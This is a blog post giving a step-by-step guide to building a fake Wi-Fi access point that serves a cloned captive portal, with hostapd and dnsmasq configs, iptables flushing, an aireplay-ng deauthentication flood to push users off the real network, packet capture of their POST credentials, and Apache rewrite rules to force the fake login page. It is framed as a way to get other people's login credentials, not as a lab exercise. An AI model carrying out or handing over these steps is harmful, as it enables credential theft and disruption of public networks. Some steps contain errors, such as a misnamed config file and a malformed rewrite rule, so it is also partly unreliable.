Computer_Science (/archive/?tag=Computer_Science)

Building a Fake Access Point and Using a Captive Portal to Get Login Credentials

Posted by Aaron John on December 23, 2018

For this project I will presume that you have already cloned a captive portal of an open business network that you usually would see in airports, hotel lobbies, coffee shops, and other venues that offer free Wi-Fi hot spots.

Also, I will presume you have a wireless adapter that supports monitor mode and packet injection with Kali Linux installed (or other penetration testing OS installed). Yayy! Now let’s move on to the main course of this documentation.

Below I have documented the process on how to manually create a fake Access Point (AP). However, in order to build a fake AP, one needs to understand the main components of a wifi network. These components are:

1. A wifi card (router) in order to broadcast the signal of an AP. (I will use hostapd tool to broadcast the signal)
2. A DHCP server to give IP addresses to clients that connect to our AP. (I will use dnsmasq tool as a DHCP server)
3. A DNS server to handle DNS requests. (I will use dnsmasq tool as a DNS server)
    - dnsmasq tool is rather convenient to use, since it can be used as a DHCP and DNS server at the same time!

- To install hostapd and dnsmasq, type the below command in terminal.

```
apt-get install hostapd dnsmasq
```

1. After installing hostapd and dnsmasq, connect your wireless adapter (ifconfig to confirm this). Once adapter is connected do:

   ```
   service network-manager stop
   ```

   (Reason to stop network manager is so that it does not prevent the fake AP from broadcasting a wifi signal)
2. Next, we should enable IP forwarding so that packets can flow through the computer without being dropped. Not only that, we must also delete any IP table rules that might interfere with what we are trying to achieve. Hence, the below commands must be entered in the terminal to clear any firewall rules that might be redirecting packets to somewhere else.

   ```
   echo 1 > /proc/sys/net/ipv4/ip_forward
   iptables --flush
   iptables --table nat --flush
   iptables --delete-chain
   iptables --table nat --delete-chain
   iptables -P FORWARD ACCEPT
   ```

   (By default there should not be any IP table rules, however to be on the safe side, if a program modifies and adds IP tables rules then the fake AP will fail, hence the following commands are a precaution.)
3. Next, we will configure dnsmasq to be used as a DHCP server and DNS server. Here, copy the below code and save it in a file called dnsmasq.conf

   ```
   #Set the wifi interface
   interface=wlan0
   #Set the ip range that can be given to clients
   dhcp-range=10.0.0.10,10.0.0.100,8h
   #Set the gateway IP address
   dhcp-option=3,10.0.0.1
   #Set dns server address
   dhcp-option=6,10.0.0.1
   #Redirect all requests to 10.0.0.1
   address=/#/10.0.0.1
   ```

   (The first line that says interface can be found by doing ifconfig and this interface is the one that you wireless adapter uses. The second line states that the range is from 10 to 100 and each ip can last for 8 hours. The third line states the IP of wlan0, usually the 1st IP is used for the the gateway/router and the same config is used for the fourth line. The fifth line states to redirect any request to router’s IP)
4. In terminal type the following command to start DHCP server and DNS server.

```
dnsmasq -C /root/Downloads/fake-ap/dnsmasq.conf
```

(Note: make sure you change the above path to where you saved the dnsmasq.conf file)

5. Next, we will configure hostapd to start fake AP, in order to allow people to connect to it. Here, copy the below code and save it in a file called dnsmasq.conf

```
#Set wifi interface
interface=wlan0
#Set network name
ssid=FakeAP
#Set channel
channel=1
#Set driver
driver=nl80211
```

(Note: when you set the network name, make sure it has the same name as the captive portal and you can feel free to add a version to it like “FakeAP V2”)

6. In terminal type the following command to start hostapd and to begin broadcasting a signal.

```
hostapd /root/Downloads/fake-ap/hostapd.conf -B
```

(Here, -B is used so that it will execute the above command in the background. Also, make sure you change the above path to where you saved the hostapd.conf file)

7. Next, we will configure wlan0 (or whatever interface that your running) to have an IP address of 10.0.0.1

```
ifconfig wlan0 10.0.0.1 netmask 255.255.255.0
```

(Note: change interface to the one you are using, in my case its wlan0. The reason we use 10.0.0.1 is because this is the ip address that is used by the dnsmasq.conf and all the requests is configured to go to this IP. Here, 255.255.255.0 address is the most common subnet mask used on computers connected to Internet Protocol (IPv4) networks. In our case the format would be 10.0.0.xxx where xxx will be the only part that would vary for every IP address in that network. Likewise if the subnet mask is 255.255.0.0 then the computer would assume that every IP address in that netwrok would be in the format of 10.0.xxx.xxx.)

8. Start Web server to launch the cloned captive portal. Hence, when the client clicks on the fake AP the captive portal web page is displayed.

```
service apache2 start
```

9. In this step, we will sniff and analyze login credentials that the user enters into the cloned captive portal. However, instead of waiting for client to connect to FakeAP we could use a deauthentication attack on the real captive portal network and lure clients into using the FakeAP. Hence, we will run the following deauthentication attack command in terminal.

   ```
   aireplay-ng --deauth 100000 -a (mac address of AP) wlan0
   ```

   Note: in order to find mac address of AP use airodump-ng as follows:

   ```
    airodump-ng --band a wlan0
   ```

10. By continously sending thousand of deauth packets… it will prevent the user from reconnecting back to the portal. Hence, they will be lured into using our fake captive portal. Now, we can start to sniff the login info either by using Ettercap or MITMF, but for this example I will use Tshark.

    ```
    tshark -i wlan0 -w wifisniff.cap
    ```

    (Note: -i wlan0 is the interface used to sniff data which will be our wireless card and -w wifisniff.cap will be where I store all the sniffed data)

Once a client enters the credential, we can analyze the .cap file using Wireshark. Just simply type *wireshark* in terminal and filter out http and search for a POST request. Eventually you should find the clients credentials in the HTML form :)

Update - Redirecting Requests to Captive Portal Login Page

When a client first connects to a captive portal the system will send requests to a specific server depending on the system whether it runs on mac OS, Linux or Windows. If the system gets a response it was expecting then it will think that this is a normal network and it wont do anything. However, if the clients system does not get a response it was expecting, it will then think that the network is a captive portal and it will proceed to show the client the captive portal login page.

Solution for the above issue

1. Requests sent to www. websites have to be redirected to just the domain name (for example, google.com (http://google.com) instead of www.google.com

(http://www.google.com)). Therefore, in order to achieve this we have to modify the apache configuration file. To open the configuration file type the following in terminal:

```
leafpad /etc/apache2/sites-enabled/000-default.conf
```

(Note: I am using leafpad text editor to open the configuration file… feel free to use another text editor.)

2. In order to delete just the www part, we need to use rewrite rules to redirect www to just the domain name. In this case we will add a directory tag at the bottom of the configuration file.

```
 <Directory "/var/www/html">  <!-- /var/www/html is the location of where m
     RewriteEngine On         <!--enables rewrite engine-->
     RewriteBase /            <!--rewrite base is in web root-->
     RewriteCond %{HTTP_HOST} ^www\.(.*)$ [nc]   <!--rewrite condition work
     RewriteRule ^(.*)$ http://%1/ (http://%1/)$1 [R=301,L]
 </Directory>
```

(Note: paste the above code, save and close text editor)

3. Restart apache web server in terminal.

```
service apache2 restart
```

4. After restarting web server and if you test out the FakeAP network, you will notice a web browser pop up. However, this browser will show a 404 error saying “Not Found” (the reason why a 404 error is showed is because the url is altered by the the system OS.) To fix this, we will configure the web server so that if a file is not found it will redirect the person to the home page. In our case it would be to redirect a 404 error to the cloned captive portal login page. So in terminal type the following command and feel free to use your preferred text editor:

```
leafpad /etc/apache2/sites-enabled/000-default.conf
```

5. On the top of the configuration file type in the following:

```
ErrorDocument 404 /
```

(Note: Here / is used to redirect to web root) Don’t close the text editor just yet… see next step!

6. Also, just to be on the safe side at the bottom of the configuration file inside the tag we will put the following rewrite rules. This step is the same as the above step but it is used to make sure that it works with any smart phone.

```
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond ^(.*)$ / [L,QSA]
```

7. Restart apache web server in terminal. Now, your page should pop up in a web browser when a client clicks on the FakeAP network.

```
service apache2 restart
```

PREVIOUS
BUILDING AN AUGMENTED REALITY RULER WITH ARKIT **(/2018/08/16/AR-RULER/)**

NEXT
CRACKING WPA AND WPA2 ENCRYPTION BY EXPLOITING WPS USING REAVER **(/2019/01/15/EXPLOITING-WPS/)**

What do you think?

8 Responses

Upvote Downvote

0 Comments 1 Login ▾

G Start the discussion…

LOG IN WITH

OR SIGN UP WITH DISQUS ?

Name

♡ Share Best Newest Oldest

Be the first to comment.

Subscribe Privacy Do Not Sell My Data

FEATURED TAGS (/archive/)

Computer_Science (/archive/?tag=Computer_Science)

● (https://github.com/aaronjohn2)

● (https://www.linkedin.com/in/aaronjohn2)